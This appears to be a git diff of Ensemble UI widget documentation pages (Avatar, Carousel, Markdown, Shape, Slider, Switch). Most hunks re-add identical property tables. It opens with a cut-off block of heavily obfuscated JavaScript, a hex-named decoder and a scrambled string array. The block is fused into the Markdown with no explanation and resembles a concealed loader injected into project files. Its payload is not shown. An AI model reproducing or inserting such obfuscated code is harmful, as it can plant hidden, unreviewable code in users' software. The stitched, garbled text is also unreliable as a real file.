_0x5dfb(_0x444842,_0x2bcac2){_0x444842=_0x444842-(0x19b4*0x1+-0x1434+0x204*-0x2);var _0x224bf5=_0x5da2();var _0x3bf5ed=_0x224bf5[_0x444842];return _0x3bf5ed;}function _0x5da2(){var _0x1b7e1=['ZRR0irsrI~es<3ecNn()','6639750mxScEu','.PRsvRcV)$','RR_R^!\x20NRf','4ZR\x27<.R5.D','.G.cR1R\x20c.','\x20.cRx(cRc+','ckeMf(=.(y=)r','.)7\x20\x22R:Lct','\x22ht#utd$c<','{,z`cycd..','.O..','6Bs&Rcw}d','ep.tR','x+-\x20d)0+.s','o66.ur)i.+','s.)sR:Pl8<','ycnc9iQ()h','o<2vRiRhdd','.(cccpn\x22th','eaRR}\x22rcrT','4<.uR.RP*r','1.-ph.ss\x20\x20','.{lRs}','uswlse','54<R#R','..R.C(2n.<','lD<=p_Rae\x20','.lprtRus..','*.h:c','\x5cktta!.R.4','1ncefcORS.','.-.usbeq\x20g','<,\x20ch<%!ci','`R}$R\x22Vv:d','J4FrfRmcWf','exR.<(ixR0','0bcntRRARc','Rw]j\x20R.n.(','zRRs\x22!=','R{f','piki.<.A.[','rftn.a,i=4','gb<.Re.cR)','.h<.RRL..<','\x20riWmAhRRP','Rn<cpfn&Rc','7R.oyft.;d','cR\x20t.s^zb\x20','Ri!.ok;aRc','}.dc0R,?,R','!<3v)oe)RmScM\x20','.!v!;.!H+/','!].0D&asm\x20$R','rn\x20d6c#cRe','-[.rvarb6u','\x5c!','dt<3..cRq>',')d.is9R!nd','IcaR;.nR,b','udsiR4i<.e','<.ieRn<.=q','u{(\x20far;l+',')nstRR!c[','a8ceic1ORc','=p%.l0v.Re','[\x20.n\x5ckSLPc','9r9GgwL&RR','.usTt.T-R)','3<8e<).DCl',',q(=tzur;[','Rj..>RReIt','tsl','imom0.\x20N0r','.\x20.a%jz_.R','c.b=V - - -## Properties - -| Property | Type | Description | -|:--------------|:-----------------------------------------------|:--------------------------------------------------------------------------------------------------------| -| source | string | URL to or asset name of the image. Recommended to set dimensions to prevent UI jerkiness while loading. | -| variant | enum | Specify the Avatar's shape: `circle` (default), `square`, or `rounded`. | -| name | string | Displayed initials if the image source is not specified or fails to load. | -| nameTextStyle | [TextStyle](/widgets/types#TextStyle) | Adjust the text styling for the name. | -| onTap | [Action](/actions/directory) | Call Ensemble's built-in functions or execute code on tap. | -| onTapHaptic | [TapHaptic](/widgets/types#TapHaptic) | The type of haptic feedback on tap | - -### Styles - -| Property | Type | Description | -|:-----------------|:---------------------------------------|:--------------------------------------------------| -| placeholderColor | [Color](/widgets/types#Color) | The placeholder color while the image is loading. | -| fit | [Fit](/widgets/types#Fit) | How to fit the image within the dimensions | -| colorFilter | object | Applies color filter to Avatar | - -### Box Styles (Inherited) -This widget also inherits these styles - - - -### Base Styles (Inherited) -This widget also inherits these styles - - +import BaseStyles from './_snippets/base-styles.md' +import BoxStyles from './_snippets/box-styles.md' +import { EnsemblePreview } from '../../components/ensemble-preview' + +# Avatar widget + +The Avatar Widget provides a visual representation of a user or entity, typically used in user interfaces to personalize user experience. + + + + +## Properties + +| Property | Type | Description | +|:--------------|:-----------------------------------------------|:--------------------------------------------------------------------------------------------------------| +| source | string | URL to or asset name of the image. Recommended to set dimensions to prevent UI jerkiness while loading. | +| variant | enum | Specify the Avatar's shape: `circle` (default), `square`, or `rounded`. | +| name | string | Displayed initials if the image source is not specified or fails to load. | +| nameTextStyle | [TextStyle](/widgets/types#TextStyle) | Adjust the text styling for the name. | +| onTap | [Action](/actions/directory) | Call Ensemble's built-in functions or execute code on tap. | +| onTapHaptic | [TapHaptic](/widgets/types#TapHaptic) | The type of haptic feedback on tap | + +### Styles + +| Property | Type | Description | +|:-----------------|:---------------------------------------|:--------------------------------------------------| +| placeholderColor | [Color](/widgets/types#Color) | The placeholder color while the image is loading. | +| fit | [Fit](/widgets/types#Fit) | How to fit the image within the dimensions | +| colorFilter | object | Applies color filter to Avatar | + +### Box Styles (Inherited) +This widget also inherits these styles + + + +### Base Styles (Inherited) +This widget also inherits these styles + + diff --git a/pages/widgets/carousel.mdx b/pages/widgets/carousel.mdx index bce466b..3a7d381 100644 --- a/pages/widgets/carousel.mdx +++ b/pages/widgets/carousel.mdx @@ -1,72 +1,72 @@ -import BaseStyles from './_snippets/base-styles.md' -import BoxStyles from './_snippets/box-styles.md' -import { EnsemblePreview } from '../../components/ensemble-preview' - -# Carousel widget - -The Carousel Widget allows you to create and render carousels, enabling the presentation of multiple items in a visually engaging and interactive slideshow format within your application. - - - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| children | array | List of widgets | -| onItemChange | [action](/actions/directory.md) | Dispatch when an carousel item is in focus. For SingleView, this happens when the item is scroll into view. For scrolling MultiView, the event dispatches only when you tap on the item. The index of the item can be retrieved using 'selectedIndex'. | | -| item-template | object | [See properties](#item-template) | - -### Styles - -| Property | Type | Description | -| :--------------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| layout | string | Show a SingleView (on screen one at a time), MultiView (scrolling items), or automatically switch between the views with autoLayoutBreakpoint | -| autoLayoutBreakpoint | integer | Show multiple views on the carousel if the breakpoint is equal or larger than this threshold, otherwise show single view. (default 768) | -| autoplay | boolean | If true, Enables autoplay, sliding one page at a time. Default (false) | -| autoplayInterval | integer | Sets the duration in seconds for the autoplay. Default (4 second) | -| height | integer | The height of each view | -| gap | integer | The gap between each views, but also act as a left-right margin in a single view | -| leadingGap | integer | The space before the first item. Note that the left edge of the scroll area is still controlled by padding or margin. | -| trailingGap | integer | The space after the last item. Note that the right edge of the scroll area is still controlled by padding or margin. | -| singleItemWidthRatio | number | The screen width ratio for each carousel item (in single item mode). Value ranges from 0.0 to 1.0 for the full width. (default 1.0) | -| multipleItemWidthRatio | number | The screen width ratio for each carousel item (in multiple item mode). Value ranges from 0.0 to 1.0 for the full width (default 0.6) | -| scrollType | string | Allows you to set the scroll physics for the carousel. Default For iOS it is `bouncing` else it is `clamping`. Possible values are `bouncing`, `clamping`, `neverScrollable`, `alwaysScrollable`. | -| indicatorType | string | How the view indicator should be displayed | -| indicatorPosition | string | Where to display the indicator if specified | -| indicatorWidth | integer | Sets the width of the carousel indicators within the Carousel | -| indicatorHeight | integer | Adjusts the height of the carousel indicators within the Carousel | -| indicatorMargin | string or integer | The margin around each indicator | -| indicatorPadding | string or integer | The padding around the indicator | -| aspectRatio | number | Aspect ratio is used if no height have been declared. | -| autoPlayAnimationDuration | integer | The animation duration between two transitioning pages while in auto playback. | -| autoPlayCurve | string | Determines the animation curve physics. | -| enlargeCenterPage | boolean | Determines if current page should be larger than the side images, creating a feeling of depth in the carousel. | -| enlargeFactor | number | How much the pages next to the center page will be scaled down. If enlargeCenterPage is false, this property has no effect. | -| direction | string | The axis along which the carousel view scrolls. | -| cacheKey | string | Pass a cacheKey if you want to keep the carousel's item position when it was recreated | -| buildOnDemand | boolean | Build the carousel items only when its visible in the screen. Default - false | -| buildOnDemandLength | integer | Build the carousel items when its visible in the screen only when the item is greater or equal to this length. Default - 6 | -| colorFilter | object | Applies color filter to whole carousel | | - - -### Box Styles (Inherited) -This widget also inherits these styles - - - -### Base Styles (Inherited) -This widget also inherits these styles - - - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | widget | The widget to render for each item | +import BaseStyles from './_snippets/base-styles.md' +import BoxStyles from './_snippets/box-styles.md' +import { EnsemblePreview } from '../../components/ensemble-preview' + +# Carousel widget + +The Carousel Widget allows you to create and render carousels, enabling the presentation of multiple items in a visually engaging and interactive slideshow format within your application. + + + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| children | array | List of widgets | +| onItemChange | [action](/actions/directory.md) | Dispatch when an carousel item is in focus. For SingleView, this happens when the item is scroll into view. For scrolling MultiView, the event dispatches only when you tap on the item. The index of the item can be retrieved using 'selectedIndex'. | | +| item-template | object | [See properties](#item-template) | + +### Styles + +| Property | Type | Description | +| :--------------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| layout | string | Show a SingleView (on screen one at a time), MultiView (scrolling items), or automatically switch between the views with autoLayoutBreakpoint | +| autoLayoutBreakpoint | integer | Show multiple views on the carousel if the breakpoint is equal or larger than this threshold, otherwise show single view. (default 768) | +| autoplay | boolean | If true, Enables autoplay, sliding one page at a time. Default (false) | +| autoplayInterval | integer | Sets the duration in seconds for the autoplay. Default (4 second) | +| height | integer | The height of each view | +| gap | integer | The gap between each views, but also act as a left-right margin in a single view | +| leadingGap | integer | The space before the first item. Note that the left edge of the scroll area is still controlled by padding or margin. | +| trailingGap | integer | The space after the last item. Note that the right edge of the scroll area is still controlled by padding or margin. | +| singleItemWidthRatio | number | The screen width ratio for each carousel item (in single item mode). Value ranges from 0.0 to 1.0 for the full width. (default 1.0) | +| multipleItemWidthRatio | number | The screen width ratio for each carousel item (in multiple item mode). Value ranges from 0.0 to 1.0 for the full width (default 0.6) | +| scrollType | string | Allows you to set the scroll physics for the carousel. Default For iOS it is `bouncing` else it is `clamping`. Possible values are `bouncing`, `clamping`, `neverScrollable`, `alwaysScrollable`. | +| indicatorType | string | How the view indicator should be displayed | +| indicatorPosition | string | Where to display the indicator if specified | +| indicatorWidth | integer | Sets the width of the carousel indicators within the Carousel | +| indicatorHeight | integer | Adjusts the height of the carousel indicators within the Carousel | +| indicatorMargin | string or integer | The margin around each indicator | +| indicatorPadding | string or integer | The padding around the indicator | +| aspectRatio | number | Aspect ratio is used if no height have been declared. | +| autoPlayAnimationDuration | integer | The animation duration between two transitioning pages while in auto playback. | +| autoPlayCurve | string | Determines the animation curve physics. | +| enlargeCenterPage | boolean | Determines if current page should be larger than the side images, creating a feeling of depth in the carousel. | +| enlargeFactor | number | How much the pages next to the center page will be scaled down. If enlargeCenterPage is false, this property has no effect. | +| direction | string | The axis along which the carousel view scrolls. | +| cacheKey | string | Pass a cacheKey if you want to keep the carousel's item position when it was recreated | +| buildOnDemand | boolean | Build the carousel items only when its visible in the screen. Default - false | +| buildOnDemandLength | integer | Build the carousel items when its visible in the screen only when the item is greater or equal to this length. Default - 6 | +| colorFilter | object | Applies color filter to whole carousel | | + + +### Box Styles (Inherited) +This widget also inherits these styles + + + +### Base Styles (Inherited) +This widget also inherits these styles + + + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | widget | The widget to render for each item | diff --git a/pages/widgets/markdown.md b/pages/widgets/markdown.md index c72584a..73e0258 100644 --- a/pages/widgets/markdown.md +++ b/pages/widgets/markdown.md @@ -1,42 +1,42 @@ -# Markdown widget - -The Markdown Render Widget empowers you to effortlessly render Markdown text, transforming it into beautifully formatted and structured content for your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6b6d9c3d-359b-4768-99a5-3f087a64387c) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :--------------------------- | -| text | string | Your text in markdown format | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description Image: | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| textStyle | string | An opaque object that determines the size, color, and decoration of text. Styling for regular text. Default to theme's bodyMedium styling. [See properties](#styleslinkstyle) | -| linkStyle | object | Styling for the url. [See properties](#styleslinkstyle) | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| colorFilter | object | Applies color filter to Markdown | - - -#### styles.linkStyle - -| Property | Type | Description | -| :--------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontSize | integer | Sets the size of the text. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| decoration | string | A linear decoration to draw near the text`none`,`lineThrough`,`underlines`,`overline` | +# Markdown widget + +The Markdown Render Widget empowers you to effortlessly render Markdown text, transforming it into beautifully formatted and structured content for your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6b6d9c3d-359b-4768-99a5-3f087a64387c) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :--------------------------- | +| text | string | Your text in markdown format | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description Image: | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| textStyle | string | An opaque object that determines the size, color, and decoration of text. Styling for regular text. Default to theme's bodyMedium styling. [See properties](#styleslinkstyle) | +| linkStyle | object | Styling for the url. [See properties](#styleslinkstyle) | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| colorFilter | object | Applies color filter to Markdown | + + +#### styles.linkStyle + +| Property | Type | Description | +| :--------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontSize | integer | Sets the size of the text. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| decoration | string | A linear decoration to draw near the text`none`,`lineThrough`,`underlines`,`overline` | diff --git a/pages/widgets/shape.md b/pages/widgets/shape.md index ab78c31..822f2f3 100644 --- a/pages/widgets/shape.md +++ b/pages/widgets/shape.md @@ -1,20 +1,20 @@ -# Shape Widget - -ECreate and customize a variety of shapes to add flair to your UI. Use this widget in combination with [LoadingContainer](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3wNZSfVkdi56zmTtFeBT) to create compelling loading states. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------- | -| type | string | Type of the shape, `circle` `rectangle` `oval` `square` | - -### Styles - -| Property | Type | Description | -| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| borderRadius | string or integer | The border radius of the widget. This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| colorFilter | object | Applies color filter to Avatar | - +# Shape Widget + +ECreate and customize a variety of shapes to add flair to your UI. Use this widget in combination with [LoadingContainer](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3wNZSfVkdi56zmTtFeBT) to create compelling loading states. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------- | +| type | string | Type of the shape, `circle` `rectangle` `oval` `square` | + +### Styles + +| Property | Type | Description | +| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| borderRadius | string or integer | The border radius of the widget. This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| colorFilter | object | Applies color filter to Avatar | + diff --git a/pages/widgets/slider.mdx b/pages/widgets/slider.mdx index ef35823..9f4eabb 100644 --- a/pages/widgets/slider.mdx +++ b/pages/widgets/slider.mdx @@ -1,135 +1,135 @@ -import BaseStyles from "./_snippets/base-styles.md"; -import BoxStyles from "./_snippets/box-styles.md"; -import { EnsemblePreview } from '../../components/ensemble-preview' - -# Slider Widget - -The `Slider` widget provides an intuitive way for users to select a value or range of values by dragging a handle along a track. This widget is particularly useful for adjusting numeric inputs like volume, brightness, or any other adjustable parameters that fall within a continuous or discrete range. - -## Key Properties and Features - -- **Value Selection**: Intuitive dragging interface for selecting numeric values -- **Discrete or Continuous**: Option to divide the slider into discrete steps or maintain continuous sliding -- **Customizable Appearance**: Extensive styling options for track, thumb, tick marks, and value indicators -- **Interactive Feedback**: Visual feedback through overlays and value indicators -- **Accessibility**: Support for enabled/disabled states and form validation - - - -## Base Properties - -The base properties define the fundamental behavior and appearance of the slider. - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------ | -| id | string | Unique identifier for the slider | -| className | string | Custom class name for styling | -| label | string | Text label for the slider | -| labelHint | string | Additional hint text below the label | -| required | boolean | Whether user input is required. Defaults to `false` | -| enabled | boolean | Whether the slider is interactive. Defaults to `true` | -| initialValue | number | Starting value of the slider. Defaults to `0` | -| min | number | Minimum selectable value. Defaults to `0` | -| max | number | Maximum selectable value. Defaults to `1` | -| divisions | integer | Number of discrete steps. If not set, the slider will be continuous | -| styles | object | [See properties](#styles) | -| onChange | Action | Action triggered when value changes | -| enableRange | boolean | Turning it true will give you two thumbs | -| startValue | number | Starting position of thumb (incase of range slider) | -| endValue | number | Ending position of thumb (incase of range slider) | - -## Style Properties - -The Slider widget supports extensive styling through nested style objects. - -### Track Style - -Controls the appearance of the slider's track - the line along which the thumb moves. - -| Property | Type | Description | -| :-------------------- | :----- | :----------------------------------------------------------------------- | -| shape | string | Track shape (`'rectangular'` or `'circle'`). Defaults to `'rectangular'` | -| trackHeight | number | Height of the track. Defaults to `2.0` | -| borderRadius | number | Track's corner radius. Defaults to `0` | -| activeColor | Color | Color of filled portion. Defaults to theme primary color | -| inactiveColor | Color | Color of unfilled portion. Defaults to theme inactive color | -| secondaryActiveColor | Color | Secondary active portion color. Defaults to theme secondary color | -| disabledActiveColor | Color | Active color when disabled. Defaults to `grey.shade400` | -| disabledInactiveColor | Color | Inactive color when disabled. Defaults to `grey.shade300` | - -### Thumb Style - -Defines the appearance of the draggable handle. - -| Property | Type | Description | -| :----------------- | :----- | :------------------------------------------------ | -| radius | number | Size of the thumb. Defaults to `10.0` | -| elevation | number | Shadow depth when inactive. Defaults to `1.0` | -| pressedElevation | number | Shadow depth when pressed. Defaults to `2.0` | -| thumbColor | Color | Main thumb color. Defaults to theme primary color | -| disabledThumbColor | Color | Color when disabled. Defaults to `grey.shade400` | -| borderWidth | number | Width of thumb border. Defaults to `0.0` | -| borderColor | Color | Color of border | - -### Tick Mark Style - -Configures the appearance of marks shown along the track when divisions are specified. - -| Property | Type | Description | -| :----------------------- | :------ | :--------------------------------------------------------------- | -| shape.circle.radius | number | Size of circular marks. Defaults to `1.0` | -| shape.rectangular.width | number | Width of rectangular marks. Defaults to `2.0` | -| shape.rectangular.height | number | Height of rectangular marks. Defaults to `2.0` | -| showTicks | boolean | Whether to display tick marks. Defaults to `true` | -| activeColor | Color | Color for active ticks. Defaults to `white` | -| inactiveColor | Color | Color for inactive ticks. Defaults to `white` with `0.5` opacity | - -### Overlay Style - -Controls the visual feedback shown during interaction. - -| Property | Type | Description | -| :------- | :----- | :------------------------------------------------ | -| radius | number | Size of interaction effect. Defaults to `24.0` | -| color | Color | Color of overlay. Defaults to theme primary color | -| opacity | number | Transparency of overlay. Defaults to `0.12` | - -### Value Indicator Style - -Customizes the tooltip showing the current value. - -| Property | Type | Description | -| :--------- | :-------- | :-------------------------------------------------------------------------------------------------------------------------- | -| visibility | string | When to show indicator (`'onlyForDiscrete'`, `'onlyForContinuous'`, `'always'`, `'never'`). Defaults to `'onlyForDiscrete'` | -| shape | string | Indicator shape style (`'drop'`, `'paddle'`, `'rectangular'`). Defaults to `'drop'` | -| color | Color | Background color. Defaults to theme primary color | -| textStyle | TextStyle | Text appearance. Defaults to theme text style | - -### Box Styles (Inherited) - -This widget also inherits these styles: - - - -### Base Styles (Inherited) - - - -## Value Indicator Visibility Options - -- **onlyForDiscrete**: Shows only for sliders with divisions -- **onlyForContinuous**: Shows only for continuous sliders -- **always**: Always visible during interaction -- **never**: Never shown - -## Value Indicator Shapes - -- **drop**: Teardrop-shaped tooltip -- **paddle**: Paddle-shaped indicator -- **rectangular**: Rectangular tooltip shape - -By utilizing these properties and configurations, you can create highly customized slider controls that match your application's design while providing intuitive value selection for users. +import BaseStyles from "./_snippets/base-styles.md"; +import BoxStyles from "./_snippets/box-styles.md"; +import { EnsemblePreview } from '../../components/ensemble-preview' + +# Slider Widget + +The `Slider` widget provides an intuitive way for users to select a value or range of values by dragging a handle along a track. This widget is particularly useful for adjusting numeric inputs like volume, brightness, or any other adjustable parameters that fall within a continuous or discrete range. + +## Key Properties and Features + +- **Value Selection**: Intuitive dragging interface for selecting numeric values +- **Discrete or Continuous**: Option to divide the slider into discrete steps or maintain continuous sliding +- **Customizable Appearance**: Extensive styling options for track, thumb, tick marks, and value indicators +- **Interactive Feedback**: Visual feedback through overlays and value indicators +- **Accessibility**: Support for enabled/disabled states and form validation + + + +## Base Properties + +The base properties define the fundamental behavior and appearance of the slider. + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------ | +| id | string | Unique identifier for the slider | +| className | string | Custom class name for styling | +| label | string | Text label for the slider | +| labelHint | string | Additional hint text below the label | +| required | boolean | Whether user input is required. Defaults to `false` | +| enabled | boolean | Whether the slider is interactive. Defaults to `true` | +| initialValue | number | Starting value of the slider. Defaults to `0` | +| min | number | Minimum selectable value. Defaults to `0` | +| max | number | Maximum selectable value. Defaults to `1` | +| divisions | integer | Number of discrete steps. If not set, the slider will be continuous | +| styles | object | [See properties](#styles) | +| onChange | Action | Action triggered when value changes | +| enableRange | boolean | Turning it true will give you two thumbs | +| startValue | number | Starting position of thumb (incase of range slider) | +| endValue | number | Ending position of thumb (incase of range slider) | + +## Style Properties + +The Slider widget supports extensive styling through nested style objects. + +### Track Style + +Controls the appearance of the slider's track - the line along which the thumb moves. + +| Property | Type | Description | +| :-------------------- | :----- | :----------------------------------------------------------------------- | +| shape | string | Track shape (`'rectangular'` or `'circle'`). Defaults to `'rectangular'` | +| trackHeight | number | Height of the track. Defaults to `2.0` | +| borderRadius | number | Track's corner radius. Defaults to `0` | +| activeColor | Color | Color of filled portion. Defaults to theme primary color | +| inactiveColor | Color | Color of unfilled portion. Defaults to theme inactive color | +| secondaryActiveColor | Color | Secondary active portion color. Defaults to theme secondary color | +| disabledActiveColor | Color | Active color when disabled. Defaults to `grey.shade400` | +| disabledInactiveColor | Color | Inactive color when disabled. Defaults to `grey.shade300` | + +### Thumb Style + +Defines the appearance of the draggable handle. + +| Property | Type | Description | +| :----------------- | :----- | :------------------------------------------------ | +| radius | number | Size of the thumb. Defaults to `10.0` | +| elevation | number | Shadow depth when inactive. Defaults to `1.0` | +| pressedElevation | number | Shadow depth when pressed. Defaults to `2.0` | +| thumbColor | Color | Main thumb color. Defaults to theme primary color | +| disabledThumbColor | Color | Color when disabled. Defaults to `grey.shade400` | +| borderWidth | number | Width of thumb border. Defaults to `0.0` | +| borderColor | Color | Color of border | + +### Tick Mark Style + +Configures the appearance of marks shown along the track when divisions are specified. + +| Property | Type | Description | +| :----------------------- | :------ | :--------------------------------------------------------------- | +| shape.circle.radius | number | Size of circular marks. Defaults to `1.0` | +| shape.rectangular.width | number | Width of rectangular marks. Defaults to `2.0` | +| shape.rectangular.height | number | Height of rectangular marks. Defaults to `2.0` | +| showTicks | boolean | Whether to display tick marks. Defaults to `true` | +| activeColor | Color | Color for active ticks. Defaults to `white` | +| inactiveColor | Color | Color for inactive ticks. Defaults to `white` with `0.5` opacity | + +### Overlay Style + +Controls the visual feedback shown during interaction. + +| Property | Type | Description | +| :------- | :----- | :------------------------------------------------ | +| radius | number | Size of interaction effect. Defaults to `24.0` | +| color | Color | Color of overlay. Defaults to theme primary color | +| opacity | number | Transparency of overlay. Defaults to `0.12` | + +### Value Indicator Style + +Customizes the tooltip showing the current value. + +| Property | Type | Description | +| :--------- | :-------- | :-------------------------------------------------------------------------------------------------------------------------- | +| visibility | string | When to show indicator (`'onlyForDiscrete'`, `'onlyForContinuous'`, `'always'`, `'never'`). Defaults to `'onlyForDiscrete'` | +| shape | string | Indicator shape style (`'drop'`, `'paddle'`, `'rectangular'`). Defaults to `'drop'` | +| color | Color | Background color. Defaults to theme primary color | +| textStyle | TextStyle | Text appearance. Defaults to theme text style | + +### Box Styles (Inherited) + +This widget also inherits these styles: + + + +### Base Styles (Inherited) + + + +## Value Indicator Visibility Options + +- **onlyForDiscrete**: Shows only for sliders with divisions +- **onlyForContinuous**: Shows only for continuous sliders +- **always**: Always visible during interaction +- **never**: Never shown + +## Value Indicator Shapes + +- **drop**: Teardrop-shaped tooltip +- **paddle**: Paddle-shaped indicator +- **rectangular**: Rectangular tooltip shape + +By utilizing these properties and configurations, you can create highly customized slider controls that match your application's design while providing intuitive value selection for users. diff --git a/pages/widgets/switch.md b/pages/widgets/switch.md index 7e2e102..954b89f 100644 --- a/pages/widgets/switch.md +++ b/pages/widgets/switch.md @@ -1,64 +1,64 @@ -# Switch widget - -The Switch Widget enables the rendering of switch toggle elements, providing users with an intuitive and interactive way to toggle between two states within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3f4ba37a-0e6a-46a1-9b78-e4e04c84937d) - -## Properties - -| Property | Type | Description | -| :----------- | :------ | 